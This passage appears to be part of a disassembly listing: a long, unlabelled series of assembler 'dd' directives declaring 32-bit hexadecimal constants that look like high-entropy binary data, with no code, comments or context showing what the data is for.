dd 2D0D8531h, 25B55B85h, 0E960BB1Eh, 0FBDF347h, 9F59AD0Ch
dd 80349DA7h, 9511FF97h, 0F8BA3197h, 0B038C366h, 0A5B9BF03h
dd 0C4727C5Ch, 13E60240h, 0E2870F70h, 16847E41h, 35E2DF80h
dd 0BA0FB4Dh, 0F7630059h, 0D2EE24AEh, 30B71E4h, 541E31BDh
dd 8B767CDh, 0C9AF890h, 2DCCB17Fh, 82EF3A6h, 343E2AC5h
dd 0B4ACB6C1h, 98C2F525h, 2071D1C0h, 27472B81h, 0BED7D125h
dd 8B7BFB0Ch, 49851C0Eh, 4044094Eh, 97AEA3FDh, 23028009h
dd 0F1570BF1h, 8221CDh, 847497Bh, 4C31BF84h, 294DABDEh
dd 0DED92Ah, 40E9F964h
dd 80566AA2h, 0C465DF4Eh, 4C2F5469h, 0C4054E9Dh, 946EADABh
dd 8292C0FEh, 0D8721Ah, 0CB4E6179h, 97B771EAh, 6B0B84A2h
dd 0F9E604D5h, 8E826AB9h, 5C6F0B8Ch, 90F60740h, 5E5E6421h
dd 7E6BFDFh, 0E18D290Bh, 17B9A060h, 0ECC1105Dh, 20322443h
dd 0AFE709E3h, 4FA10C70h, 79B65765h, 0BEC2C8CDh, 0CC22FF58h
dd 3FD5B8F5h, 0D61E3Dh, 0A7717A6Eh, 27A1BA9Dh, 29854209h
dd 5AD0E57Fh, 0C909A16Eh, 26E255Eh, 0DF066D6Dh, 0F0BF8A6Eh
dd 0EFB9DF1h, 0C424E7Ah, 0AFDA7364h, 195F056Ch, 0EA93EFF2h
dd 99AB7117h, 6A097AA4h, 0D965DF13h, 0C1F174F2h, 2FEC5043h
dd 4B01CF6Eh, 112D9EE8h, 0AEB66F1Bh, 0A0F78180h, 7227654Ch
dd 0D4967DF5h, 14E16FADh, 1A0002B1h, 9D2629D4h, 0FF806091h
dd 7F51BBE1h, 282EE323h, 4417C28h, 282A7121h, 0DEB788FAh
dd 6501CB2Dh, 619D18F0h, 0DD282AAFh, 2933CF39h, 81DAE9AAh
dd 0A9950160h, 53DF7F10h, 1300AED3h, 78E96427h, 0DD622C53h
dd 3C7561C8h, 0CD18C0B6h, 0D129D902h, 56704A52h, 47B725E5h
dd 660DF900h, 3DC0BAB6h, 56C89D09h, 973C1C9h, 5B01410Bh
dd 0A966D09Bh, 0C3822158h, 803A2CEFh, 99425FCh, 0E5A94220h
dd 911E35D5h, 86088215h, 0FCB27FF9h, 97802FFh, 0E9FD0911h
dd 6F7B041Fh, 37B30050h, 36965EC8h, 23B72DDBh, 0F0D31A53h
dd 110991E8h, 1D0ADDB5h, 95C0D767h, 0C1A3ADBFh, 6E009772h
dd 6A412C98h, 794DEE98h, 946B5F5Dh, 0C6001B23h, 0E69FF97Fh
dd 0AE058A6h, 2E7B8527h, 9F4178F0h, 9B507102h, 0EA02FB84h
dd 0D587AEDEh, 0C6EBD277h, 9240B2C2h, 7E95D785h, 2300F48Ch
dd 47B5892Eh, 90ACE0A4h, 84754510h, 9A33F7B8h, 98C3B3EFh
dd 259F858Ch, 78C61E94h, 5857A1A2h, 0A6894A5Ch, 0D2BF0A3h
dd 596F0410h, 0B8205129h, 12A98059h, 0FB5BAAh, 66333754h
dd 0A030AC0Ch, 2E2D04Ah, 0C7279CA8h, 0C936F493h, 0B797C258h
dd 8C8F02FFh, 19DE0AB1h, 0B05E9A40h, 0B6E404D4h, 0C15BD88Bh
dd 6C20FCEAh, 0BD5339CCh, 26F1FC5Fh, 0C893F13Ch, 0AC80EA68h
dd 0E35760DEh, 0DA584B26h, 0D5069909h, 1D914037h, 0B3BF9180h
dd 0EA7887BCh, 0D2088517h, 1A75E904h, 79F66800h, 0F3FC6CCh
dd 553DE988h, 524ADEE4h, 91DA7ADh, 0B939D78Ah, 24DB8A5h
dd 38202A1Eh, 0C1050179h, 5AF86AC8h, 0F728FF8Dh, 0E7FD0095h
dd 2DC435FEh, 850039CFh, 0C5B77F24h, 2D56503Bh, 57CADA8Bh
dd 0B858F82h, 0E90E6DD5h, 66068A5Bh, 2D545C73h, 1E640CD5h
dd 679503EEh, 535693FCh, 0C8AFEDAh, 7DCCB55Bh, 14D7B815h
dd 0D00B8B0Fh, 0BB8005C8h, 572DA139h, 9F5870E9h, 8A004C3Dh
dd 0F0437034h, 5D2816EAh, 9C30EADEh, 6D514Ch, 0CD4543F3h
dd 3FC185C4h, 0F8C9D527h, 0FE0E4ABDh, 20A4363Bh, 0BBAFBAAFh
dd 0E14FE300h, 0B6989116h, 229C0034h, 93060D19h, 0D0623369h
dd 0DD0F05E4h, 0FFD0617Bh, 8A60FB8Ch, 662840E1h, 5A5EBB12h
dd 0C68DA4E2h, 10B33E5Dh, 0E241A84Ah, 844F57B1h, 0D068E56Eh
dd 23FD6BFAh, 0DABC021Ch, 0C4DF3FB2h, 1DBB046Dh, 0B92808DBh
dd 0AE7A4FA4h, 0DF7A3400h, 85016DD6h, 6FFB5D5Ah, 2A604FCDh
dd 0B78529DFh, 0F3970D5Ah, 181D59F5h, 9E3500F8h, 0B809610h
dd 5548D81Eh, 41D13D1Dh, 2BFEC92Bh, 0B9E892C9h, 45DA0041h
dd 8C1B2CBEh, 0E69F729Dh, 0E65F4A37h, 40F64F54h, 4A5A8DA0h
dd 3A84812h, 0E81424EFh, 0A985807Bh, 0BF964DC6h, 0B3806856h
dd 0A0ABC89Ah, 0F4BFC5h, 0B8B8772Dh, 3A9718FDh, 5D7182F4h
dd 4115572Eh, 0F9B7F3C0h, 959D130Bh, 92DAA0Dh, 253C6A7Bh
dd 40F37675h, 516132EAh, 616A283Ah, 625BD3Ah, 0D64EF26Fh
dd 0F5022F6Bh, 89518CAFh, 8138445Dh, 8825C19Ch, 0B2E2E62Bh
dd 78983318h, 0F74B023Fh, 0E79B45C5h, 0F01EB3C0h, 0C919CA3Fh
dd 0CDA45521h, 5018B32Dh, 2C29C220h, 0BF5D6EB5h, 220489F0h
dd 61F48AFAh, 81C004BCh, 0DDB010CFh, 0D1902EE1h, 0B02BB50h
dd 5B3C0E16h, 597A5456h, 86921F76h, 3A19D718h, 0EBDC600Bh
dd 0AFD6741Ah, 5E27AD56h, 2501FC75h, 80878C65h, 0F83F5ED3h
dd 8BCFC338h, 164D82BBh, 0B32EE1A4h, 682D68D5h, 0E55096EBh
dd 356B4C49h, 5D650470h, 5FDBBF02h, 0FBC018C8h, 295F6D05h
dd 2C39F555h, 0C4A516F2h, 9C6BAA92h, 0D1001923h, 1CB53C22h
dd 0AD897A2h, 0C65C26h, 0CE32B92h, 0C24F368Bh, 0B14C8860h
dd 942B13CAh, 2829B0DEh, 5D056EB5h, 370481C6h, 0AC726F17h
dd 9FE9F4EEh, 14007AA8h, 0D705E53Dh, 160752FCh, 0AC20E9E2h
dd 606E4B04h, 19370A00h, 0EF63D148h, 0EB812301h, 6F9BE635h
dd 3D06B86Eh, 8BC7BFC1h, 7F4F91D2h, 1D9504B5h, 36DD80DDh
dd 511E190h, 0EAAA3B07h, 0DFE100BAh, 0F51E86Eh, 40E33FEDh
dd 0BF505B01h, 0FA2F9E46h, 0CDBFAC50h, 0F4ABE09Bh, 47164EA5h
dd 12FFB577h, 1392B93Ah, 6FAA6A5Fh, 84AB0177h, 0DF0DE830h
dd 0D49DEE70h, 31131248h, 1D502021h, 2AED0C19h, 132BF98Dh
dd 0E07BA64Dh, 31EE4BCh, 25B07523h, 0D225ABC0h, 583EA9F8h
dd 65B7259Ah, 817BB77Dh, 6B79A2FFh, 0CFD2407Ah, 1597C03Bh
dd 0D3E4121h, 50DFF065h, 0D7AE481Dh, 0B0D4BB41h, 0E93B1B75h
dd 0E114A8D5h, 3F2D11C2h, 42DF21F0h, 2DA1CD03h, 8147852Ah
dd 42D110Eh, 56778CAFh, 90615912h, 0F4DFC8AAh, 15F75001h
dd 0A8BC46E7h, 0DC51DEh, 48294E6Fh, 131664C1h, 440047B1h
dd 0C4405A63h, 0A32709CEh, 815F4182h, 905F466Ch, 0A1B89129h
dd 0BD05224Fh, 8BE71519h, 2912FC48h, 0D622E233h, 9B05176Bh
dd 0FF3AE8C7h, 5510FE2h, 0E9A5A8F7h, 2C2EF5D3h, 1941272Ch
dd 8D096B63h, 2383A022h, 4407E99Ch, 5B568AE7h, 0EE5BB878h
dd 0C592B03h, 96B39809h, 0C0F6B771h, 7D95AED4h, 0F8B625DBh
dd 0D7D62E7Dh, 4AA230FFh, 9E3CA282h, 399289E7h, 495B58E2h
dd 5704A65Fh, 0C4EFB360h, 2FB6BF47h, 6005E197h, 54A994Ch
dd 3CB3D1DCh, 0BCCE6A1Fh, 0A2185BBh, 0F54BA7E9h, 0BE10415Eh
dd 0A7612BB4h, 63890135h, 5956D8B7h, 70E4AFh, 8E885F5h
dd 0E789A0BFh, 0A55B0A24h, 30B9B100h, 9FC75F7h, 71E4EDC8h
dd 0BC40DCF4h, 0E2820Ah, 8E3D5F85h, 0C1D82A26h, 0EF809404h
dd 0A6AD5B57h, 1CB3F522h, 7C9D290Bh, 0B044A51Dh, 0CC62DA43h
dd 23C05630h, 8B9525B7h, 4FC475A8h, 0F32EBB7Dh, 0F420D3D8h
dd 50C92AE1h, 9F919F8h, 0C82B2649h, 0FB2BCCFDh, 0D164AB57h
dd 1D9EF2EEh, 0B381D781h, 99E965DEh, 0D59D1940h, 6A858921h
dd 91BF3284h, 2BB35A13h, 0D61CB21h, 438A300Dh, 175D7B12h
dd 880DBCB4h, 0E92DFE8Bh, 0E4E94467h, 13F99705h, 52401044h
dd 0CA55E1ECh, 97E51700h, 2DFAEDB7h, 7F8316B5h, 26C1889Ch
dd 52090672h, 7F542239h, 30488364h, 0ED9C4F4h, 0E8A1E2ACh
dd 0B94A100Ah, 0A749079Bh, 6430ED25h, 5F219376h, 283AE42h
dd 0EDDDC7BBh, 0C2E45653h, 4C089CA5h, 5A703580h, 0B2D0B85Fh
dd 78019B30h, 0D927AB5Fh, 0E090576Fh, 0BA4FC780h, 0DA824DFDh
dd 0E4D86DB9h, 0F084BB04h, 0D4AC09D3h, 62EC9671h, 5953C02Bh
dd 4358DD72h, 7871E5Bh, 2839F029h, 27B3D22Bh, 1AFE048Dh
dd 0C0F2AE55h, 283321FFh, 884E8076h, 8C875DF8h, 4E207F05h
dd 8A1FBDECh, 665BFE18h, 5BEF8199h, 4A4CF8B4h, 0CC0CCBDh
dd 0FFA3929Bh, 4B4D8D12h, 1731E5CCh, 0FA103D85h, 0E63E372Dh
dd 5C64B07Fh, 0E8DA5F8Ah
dd 9D7B837h, 4E067B7Eh, 9005355h, 1C7F18F5h, 233F4495h
dd 2B4725FAh, 4DFBBF02h, 0DB5F5131h, 2653521Eh, 37F4ED00h
dd 23260D3h, 0BD09E1FFh, 1CD52251h, 5ED1699Dh, 0C1006D5Dh
dd 2B7DB994h, 0D3C1A928h, 986FEB48h, 0F389672Dh, 5F46BC51h
dd 0CEB72E4Bh, 0D98C0B48h, 1DC507Ch, 0FA94E743h, 7BBFC8EEh
dd 2674CFE3h, 2635F6h, 0B9D2D8D5h, 0E63AAD53h, 74CE0404h
dd 0B6ACD00Fh, 12B0F526h, 0C3CCBB51h, 0CCFD8A34h, 0CE99D7h
dd 5B73FD3h, 9E7BECE1h, 0CBBD0B5Fh, 0B57AFA4Ah, 4A64624h
dd 0ACF41EF3h, 17C4A46Ch, 3CFBAEC4h, 0F913B7BBh, 56B35061h
dd 92F76627h, 0CD66ACh, 3EB2F386h, 1EF29B2Ch, 0EA57E100h
dd 5FC80E45h, 5C5D0406h, 0FB8B15D2h, 77F7A8Ch, 2D41628Fh
dd 1F96B00Ah, 383AD5ACh, 17B809D4h, 160913C3h, 0AB58F878h
dd 0A82F316Eh, 2009A311h, 0F39F32C8h, 0C31779ABh, 0E1BA2584h
dd 4BE02EF2h, 50538131h, 1B7B1E71h, 63D6ED00h, 1F3AB5CAh
dd 195102E0h, 0E842992h, 4FAB1AD5h, 0C6F34055h, 6F49E9E7h
dd 0D3B31232h, 6F4F83B2h, 0A67024D7h, 0A1D20B3Fh, 19A5051Eh
dd 61615992h, 0D3DD958h, 25E92576h, 6682435Bh, 56BE86BFh
dd 0F98A628Eh, 6BCAD177h, 25D44E7Ch, 0BAFE8740h, 131909E3h
dd 0A604460Dh, 20E458A4h, 8F5AB718h, 0D1B56012h, 43CD88h
dd 6892DE0Eh, 1C77B88Ch, 617EE40Bh, 0D7379896h, 70FA9Ch
dd 0FE50452Ch, 0BD290868h, 4BD53D5Bh, 0A533F6AEh, 40804BB9h
dd 30216A68h, 0E45C0F0Fh, 1D0101BEh, 8AE462EBh, 0F9578A08h
dd 0D88B09CFh, 0FE120A56h, 2B62F80Fh, 1C467FF9h, 38E7E748h
dd 0BA2A4588h, 4D00AC7Ah, 0F5BBC520h, 3F480805h, 0C39E92A6h
dd 5BF3E581h, 7D7870C2h, 4860215Bh, 9C98064h, 0F56153FFh
dd 0BB6A0359h, 0B0019963h, 0EA64C27h, 187A0FBEh, 0FA5A1DE0h
dd 0BA4E9B74h, 0DB9C88h, 0C0F71507h, 0FDBB11CDh, 4DA6BD13h
dd 33B61AFCh, 41E9F817h, 61B0B9B7h, 0E54B9BD5h, 0A52558ACh
dd 0ED5DA70Bh, 0C45FF42Eh, 0A0AABD25h, 9D60A846h, 0B17D99C0h
dd 983202BFh, 525B74ACh, 0B800BCC6h, 0BC58686Eh, 0A2977Ah
dd 0D15B7821h, 0B767D38Ch, 0FC963D27h, 0D2E65902h, 0BEF3DDDh
dd 0F5845E4Dh, 35048BDFh, 9BBA4CB9h, 66AC06Bh, 5CF2C72h
dd 0CD95296Eh, 0C087ED1Eh, 0BC1854BFh, 0E2159546h, 9923940h
dd 0DE6B5897h, 0EAD3B584h, 0A5C046DEh, 6DD8C67Ah, 7564742Dh
dd 0EDFDBF12h, 211565D1h, 3FB3F857h, 0C29859C3h, 0F8F9DF50h
dd 0F2C6582Dh, 281100C8h, 26DF8A2Ah, 502D029h, 4217614h
dd 0D56694h, 0ACC6D6F6h, 54464F12h, 5C175025h, 897F69ECh
dd 0F3990986h, 0C59C70E9h, 0B58324Ch, 12302DBDh, 5B227786h
dd 0EBA9F6B7h, 0F6F75Eh, 12D58E2Ah, 0FD9D293Eh, 0FC712AE7h
dd 0EB4D21B3h, 0D63F9B7Bh, 68A3CDFAh, 895C1284h, 0A27FFBA1h
dd 85318F1Ah, 6FAA1B65h, 11A231Bh, 1C9B6688h, 2A3BE1A8h
dd 0C784A918h, 85894A0Eh, 9FE9DB85h, 0F838E940h, 51B2E0EAh
dd 5661D11Dh, 3AE6213Ah, 0AD342A7Ch, 5F32E2EAh, 0BB66AB30h
dd 6A03203Dh, 65BF3890h, 0D78100B6h, 2370F7E0h, 1FB6D3BFh
dd 20A90BDh, 0EFEDBB50h, 0A7A85494h, 0B1D69E10h, 667AC0Eh
dd 5851A095h, 0B37165Fh, 1BFBC055h, 0DCB59ED0h, 0CB815007h
dd 2D2D50EEh, 0D6CCF432h, 9EC3179Ch, 0F15091F5h, 88C2F205h
dd 85098326h, 0D94C0D5Dh, 0CAEBD2C1h, 7FB05E4Ch, 6BE67B6Eh
dd 845DFB4Dh, 9BBF03C3h, 0C019C84Fh, 9286BCA4h, 0D8E2A02Fh
dd 0A4DC9774h, 8ABFF865h, 733BA039h, 98DEB583h, 771B5DD4h
dd 1E3DEF80h, 0A917ECDAh, 549A27Fh, 0C4EB5132h, 0EC87B961h
dd 6F0E0922h, 12F78937h, 5573579Eh, 85581551h, 0B7A17488h
dd 6DC2687Ch, 0C65F021Eh, 18B1647Ch, 0B33F2259h, 0D952C920h
dd 0A0F52F78h, 0D94891E9h, 5ACB01DEh, 0E95F9E58h, 5012BCFh
dd 345BD31h, 8D81CC3Fh, 0E3E80F5Fh, 7AED5AAEh, 0AA3E8801h
dd 4290A19Fh, 0F42904C3h, 0AD002D86h, 908DE9BFh, 0C56FCD95h
dd 1FE5FB87h, 5DE8CD7Dh, 0BB9ECE00h, 0B7BF75A0h, 2FB38185h
dd 2733E880h, 0A0064F0Ch, 32F054Ah, 53EBD2BDh, 0A84BBD50h
dd 0A001CFA2h, 4440DABAh, 489259Ch, 2F2377Dh, 60767591h
dd 5F00B951h, 0C83F7E6Fh, 30010156h, 6B78D1AFh, 8EAD2E6Ah
dd 0CD0072B8h, 3250C9BBh, 2FF3CFBFh, 97F5B69h, 8088B72Eh
dd 0AC21CED6h, 62018077h, 96ECD2BBh, 0B63FF537h, 0E1574E0Bh
dd 0CC8112BCh, 7E0A329Dh, 2B194582h, 35B5F8EEh, 81DE274Bh
dd 0E09CB68Fh, 8D8589B4h, 9DA8BE18h, 0C1FFD735h, 7F116D14h
dd 0B6A43EB2h, 0F3F3B54Dh, 6A574D04h, 0C0A5DB02h, 90052E87h
dd 0A7D701BBh, 0B7501DFCh, 0A0BD6B32h, 0BC25B0B8h, 0C65192h
dd 0A9DA9DE4h, 0E2B7222Dh, 0F7695736h, 0DB27A5Bh, 6287F0A9h
dd 0CEB0C94Ah, 0E9084049h, 5DEC3A5Bh, 0C3483DE2h, 0FCE4F88Ah
dd 0A8E6BB04h, 6BAA072Bh, 1C2333h, 6B0741FCh, 3D1727F8h
dd 62127186h, 37975EACh, 7E3250A3h, 0BE012B04h, 0E165B8BAh
dd 4170584Ch, 0FE0502F2h, 50613ACBh, 6F402DDCh, 0C2BAA8h
dd 0FCEB6D19h, 2E8EB5E6h, 74BD4E7Bh, 370BDC3Ch, 758528E2h
dd 0FD60E98Bh, 0B195D4B7h, 827F563Dh, 5B040374h, 0C5D728FFh
dd 0E1921F42h, 75DCE60Bh, 0E59107DCh, 3878261h, 0EA81D883h
dd 14C02EB3h, 0B830CED7h, 20392523h, 1F4D8F6h, 0F155FE07h
dd 2F9B6A7Ah, 9FF24AB0h, 9EBFE5C6h, 0CCD901B0h, 0F2989D42h
dd 8A827A8Dh, 0BF3F586Dh, 50A24E9Ch, 0B046A77Dh, 81EC7709h
dd 0F90C6D2Fh, 153D8844h, 2C3F42Dh, 7BA7F4C8h, 8728CD11h
dd 8A54C29Ah, 6BAC5625h, 0F06B44FCh, 0DC134133h, 0E2BF61F9h
dd 84CD793Dh, 52B59D31h, 132A9EA1h, 0DD19308Dh, 0CA0086A4h
dd 0CF8E44FAh, 3098E090h, 9D7A2BDFh, 93950B09h, 0A349C293h
dd 4A76E988h, 3F90F143h, 7FF96587h, 109519E4h, 86154589h
dd 6E891097h, 0EF28077Ch, 0C4A8541Eh, 0D774FF44h, 1ABDF581h
dd 9075F902h, 72FA8AA6h, 574C958Bh, 0BF9D78B7h, 22431BCCh
dd 3198568Ch, 345F1140h, 5D6CB8B7h, 1F518964h, 208194FDh
dd 0A997AB12h, 81723790h, 835B1220h, 94DA3F85h, 0E6C41DC8h
dd 0FB4AC980h, 93F50245h, 0DCB97F86h, 455B647Fh, 1F932FD9h
dd 0ABDBB563h, 3FC8BFD7h, 0B78CA4B8h, 7BA141E0h, 67AC015Fh
dd 0D22B6182h, 18746F5Fh, 0DFBFA8B3h, 645B5625h, 1DE6804Bh
dd 0EC829C03h, 931DFC2h, 117D2292h, 6E49762Bh, 802B1595h
dd 0EB8412BFh, 0EF5ABB65h, 2F2313E0h, 7AF0D59Dh, 0DA79D697h
dd 6E604C4Dh, 15A62ED6h, 9E2B41B8h, 0E8DCBD4Bh, 3DFF58B5h
dd 0C08D98C7h, 0A2B796B1h, 71168100h, 0BBB6990Bh, 3B190B58h
dd 64DF7A74h, 7B1A95ADh, 670320D1h, 0D8D74660h, 0F8A85651h
dd 86A74886h, 921AF113h, 98D3E18Dh, 0B5221B70h, 8B25E0D8h
dd 1E8D65FEh, 626F2511h, 8BAC2F44h, 534D03A3h, 9C5BCA4h
dd 50D06C65h, 6916B02h, 53E85F04h, 1C968A4Ah, 0FD250496h
dd 2E000437h, 0E0598472h, 78D3BB60h, 0E54FC691h, 128B7AEFh
dd 0D9ACC62Dh, 67F62725h, 12658584h, 0C2016661h, 0DA78295Bh
dd 9A2C1FCFh, 35F7E52Bh, 0D21C156Eh, 9776F296h, 0D7301CE8h
dd 8061F206h, 6BFA20D3h, 5C615B15h, 287142EAh, 1EA98901h
dd 56E68005h, 0A39D5B53h, 0FABF66F5h, 4C69E895h, 8229736h
dd 680328B9h, 0A07BB8D8h
dd 805A5FB3h, 0A3662744h, 0D3DB5F5Fh, 62E11186h, 0F9D452EFh
dd 46D616FCh, 87F25F18h, 62D55A69h, 4F73DFCFh, 0B9E451F8h
dd 147FA73Fh, 0DE3709DCh, 0BF5056E9h, 2DC8094h, 60A44896h
dd 49E2EF8Ah, 6156A457h, 0BDC361EAh, 0C2226B99h, 99537FD7h
dd 7DDAD7D2h, 31D51895h, 2E4D258Dh, 29E742F6h, 0C4AB75C9h
dd 0CDEB6EFCh, 0E07D4B7Dh, 9F9DAD89h, 0B6D01442h, 0F60BB927h
dd 359D5012h, 75190869h, 0EC5424CAh, 0C778C32Bh, 1F0A0013h
dd 0ED0D36F0h, 0BD2A2B48h, 0F99DAEF5h, 0B9AB83D5h, 0AED8DE5Ah
dd 0B1020A45h, 0D0077038h, 0FF8B8B73h, 7E503CE1h, 0AA8588h
dd 1571E30h, 0ADC83C27h, 0DFFD7D01h, 965B35F3h, 15D6E2Fh
dd 55E58D87h, 0F33AD6F6h, 12774C95h, 57A908E1h, 98C17BCh
dd 0E9CCEE76h, 0C5929EF5h, 0AF266D7Ah, 858DC2A3h, 60B64213h
dd 0F3926963h, 3D307AD7h, 0FDF05F52h, 0D9BCB43Fh, 83795F82h
dd 57B109B9h, 55CE1261h, 537A5FC4h, 0D01BE000h, 0D28372A7h
dd 9B585F62h, 2BE48016h, 766975Eh, 821518F8h, 0F2BB6133h
dd 56BD6BCCh, 8303CEFCh, 0FA8A508Eh, 0B6BEFC89h, 3071E74Eh
dd 6B2EE965h, 0C1523ABh, 6EE0A5F9h, 55A81C4Ah, 85B79B4Bh
dd 1780A5D0h, 4F9F42E2h, 0B1C98871h, 0F057B701h, 300A3A7Eh
dd 10CDCF7Fh, 4CF22B9Dh, 0A057003Fh, 0BCC7DFF1h, 57CADB2Fh
dd 0B755190Bh, 0F418035h, 86C660E7h, 2E16F416h, 0EC92DABBh
dd 16889314h, 1F15EA79h, 4C36BC0Bh, 0A516D64Ah, 0E24DA80Dh
dd 0C6FD297Ch, 5D9D12CAh, 63073C13h, 0DDF933CBh, 15E10A4Fh
dd 302E7E12h, 0FDB509A3h, 0BBC6BEDh, 0D7A900ABh, 54B357B0h
dd 0D381022Fh, 8BD93F3h, 5CEB865Ch, 4E01D453h, 870A0B2Ch
dd 0D3424558h, 413057FAh, 602F4C56h, 4EB95401h, 0D3C5BFE0h
dd 0BE00533Fh, 49A4A05h, 2F239661h, 42D9DDBDh, 0CD616045h
dd 29F1958Bh, 19C68000h, 0FCF56125h, 1C46D662h, 0C6AAFF00h
dd 1D7E5D08h, 81FE6B0Fh, 39B42EBh, 60C4B123h, 83002D33h
dd 4893B75Dh, 0F759F81Bh, 0F595C24Ah, 1265FF14h, 0A74425h
dd 671577A7h, 0B0975819h, 0A428D8E4h, 732F92D3h, 2D785865h
dd 3E619614h, 71172EFEh, 0BBB561B7h, 4F09D4E3h, 0EC7D0539h
dd 8EB57551h, 2D0C3597h, 5299A4FFh, 2155A881h, 0BF0BFD2Dh
dd 0E85DE09Ch, 465BDB1Dh, 8D9CE4CDh, 0A7430075h, 85916D0Fh
dd 0B7BC950Ch, 0F2CEAE42h, 85E4C52Eh, 24F6AE1Eh, 72B271E5h
dd 0D086E4FEh, 0EC893831h, 0C60432A9h, 4AAD54B3h, 0F8D8CBE0h
dd 0DDF6050Ah, 0F6D881Dh, 0AF334A9Dh, 0E33F0589h, 0C16E8097h
dd 0F888D2h, 0BB9086DAh, 3AE536E8h, 2485DBB7h, 4B02103Ch
dd 343A81EFh, 0F2A63E24h, 0B4545AF0h, 0CC046571h, 12B98589h
dd 612AF12h, 14B26EB6h, 50B74F30h, 8A95B196h, 0D3EB255Ch
dd 0D6F450E4h, 0FC60642Eh, 0B9F3BB03h, 6183BF5Eh, 0A2FB94F8h
dd 403A00FEh, 957F52E4h, 0FEB74AE0h, 282E97DDh, 5B973C44h
dd 26820ECh, 76C568D1h, 0F3D50A30h, 5A7149B9h, 0A6EDEB80h
dd 581687Dh, 2CEF99Ch, 9BE4BA30h, 5EDFAA1Bh, 0A5CA2CF2h
dd 8305BFF7h, 0E290C79h, 9D234EE8h, 5B22D925h, 181C7952h
dd 0F9AD002Ch, 1CEF6DDh, 0F89FBB78h, 5D3256B0h, 0B82EA541h
dd 0DA8BA198h, 0EF75752Fh, 0BF5ACB6Ah, 0BD72FB37h, 5F9E551Dh
dd 9F015844h, 555CD562h, 0F28A0FE2h, 4A639F96h, 6EDCAF84h
dd 0C370087h, 7C2E4C2Fh, 5E00C668h, 0B2420B04h, 1CE29EB7h
dd 5F583849h, 123DAD61h, 16A50C01h, 0BC2F7F3Dh, 0EEFB5D3h
dd 0FB77E96Eh, 0C1C95D24h, 6E3AC1D9h, 68FB071Ch, 0CF10E65Fh
dd 9829BBF8h, 7D035956h, 73B7CED6h, 0CB2EB509h, 132C740Ah
dd 31790058h, 0A3C0814Dh, 0A4986F5Ah, 0F79F0050h, 4CCCE34Ah
dd 271C9755h, 0D38078E2h, 3389C5FDh, 0F960BFD2h, 59091509h
dd 8310348Bh, 0C0F68175h, 3741E347h, 5010CE8Ah, 2B0277E5h
dd 7DAD9D5Ah, 86FA1864h, 0F10386BCh, 30BEE28h, 0B74A0089h
dd 0D5CF8074h, 161EA83h, 4A5B5DB0h, 30A902A0h, 0FA491E69h
dd 0B5A290E4h, 7CB793C1h, 1C584B8h, 0E9045803h, 3851280h
dd 0EA800798h, 1000208Dh, 26139B60h, 0E66108EEh, 678300FDh
dd 0E402DFACh, 0F1368D54h, 903840D7h, 0CA2B7461h, 30C0A11h
dd 0C7CCC25Ch, 1DF15800h, 0AF366862h, 8BE6185Eh, 0B3ED29F0h
dd 0E132B900h, 0B23468D4h, 8019C641h, 0C47899E3h, 0E730F260h
dd 716FB3Bh, 60CC69F1h, 0A827768Bh, 0D544E100h, 0EF545501h
dd 9777787h, 8FE409FAh, 916BB480h, 0E50C1CCCh, 0B1F6EC02h
dd 8B20C85h, 5C20DFEAh, 5EE11741h, 5C7C8DE8h, 0EF065E13h
dd 0D9016D6Ah, 0CA0C53B0h, 11FAEDE6h, 0AE8501B8h, 4B8FF920h
dd 8C1447B4h, 0DA015D08h, 548721CEh, 50B2D13Bh, 2F23CDE1h
dd 0D938Bh, 3B6CA5C8h, 16D078A9h, 97BBB18h, 0F816F18h
dd 2E87ED1h, 488DE83h, 186B083Eh, 62B80568h, 896F07DDh
dd 81EE3972h, 50E480E6h, 0D6F263B4h, 3C2B4A01h, 1E3B8360h
dd 0B94858B0h, 29C0E1E6h, 562A5CC2h, 0CD400C6Bh, 0F809630Ah
dd 54A221C0h, 62702Ah, 668CA567h, 3DB9E6EDh, 136CC30Ch
dd 6022E0F2h, 0E264308Bh, 0D540155h, 0BB0A2EB8h, 9887B0C7h
dd 0A68FED06h, 21146208h, 4A01B34Fh, 0C2C88DC5h, 0B58CA25h
dd 8E2459Ch, 0BDC0532Ch, 4687B6C7h, 17229Eh, 3AC7B549h
dd 0F258D6F8h, 0B11D920Eh, 59C74B8h, 1CBB9B16h, 0C4638800h
dd 139AB66h, 1D0E8343h, 50038091h, 0F009CEB0h, 59305800h
dd 0DB9371ABh, 57DF1D45h, 0CF8D4379h, 0A5C83118h, 28E2D266h
dd 0A96D3800h, 95A4519Fh, 0F3BE00FFh, 0FA3C29A2h, 8B016B3Bh
dd 0A6EAEB48h, 5FE0D71Ch, 31EF0EB3h, 6780DA7Dh, 0A48DF955h
dd 9350F701h, 0A3585943h, 21C20898h, 0A412B59Fh, 8C0FCD1Fh
dd 64516304h, 47CE90A2h, 78DF305Ch, 61E4D0F2h, 7D36E0A0h
dd 679918C0h, 0C0E031EBh, 3DCFD948h, 66038398h, 6EDD3933h
dd 0C8083023h, 9835A121h, 0D51D177Eh, 11C03FE4h, 7A621E58h
dd 0E5DE0025h, 0EFD9FAAFh, 8C02A8Fh, 0B3AF367h, 2360FB4Dh
dd 582F0076h, 0D034FEE1h, 899866E9h, 4FE68501h, 0F33FD733h
dd 8A050B8h, 0ECEF79C0h, 7F93CB6h, 4AF05F60h, 98204C8Eh
dd 0F87C30EAh, 0C3649CA7h, 11EA3860h, 85CDE12Eh, 524DEC00h
dd 28AE9834h, 462CF780h, 0A4B60236h, 31BB50F2h, 0BE9810CEh
dd 0BF0B00A4h, 0C58F0EDAh, 9A28E266h, 0C303C0C4h, 0C2F2ECD9h
dd 0A01000D4h, 10931819h, 6A00D5BCh, 0BDCD426Eh, 0D7DB1Fh
dd 0D8B6DF48h, 8E44114Ah, 2CBAE100h, 2BA10463h, 0CE1016A0h
dd 0D47F0072h, 71B76F2Ah, 7B273200h, 4DC42366h, 80A40004h
dd 93CB85AAh, 68019A39h, 989B1ED5h, 0FBF41AEAh, 0EC6300D2h
dd 9A0EE2D1h, 0E73887C1h, 973C00C8h, 8F3F011Ah, 4D7000CBh
dd 8C43FD0Eh, 0DC1CF4FBh, 0AF43C444h, 0F002D409h, 14B8AAh
dd 1E81A806h, 1FA28E12h, 0CDCC4203h, 0A31C7354h, 0A4F3C16Bh
dd 0E09384D0h, 12450070h, 0B36E139Eh, 0BD0CEE1Ah, 18745443h
dd 7AEC0740h, 0C36DC78Ch, 0BC0442Ch, 0C1F0CAE6h, 5EF85B18h
dd 377ACD28h, 2061E7C7h, 0E87B2348h, 0CF3BCB0Fh, 4E20A093h
dd 606A9D12h, 447202D7h, 30C39A37h, 216CA71Ch, 0F407F728h
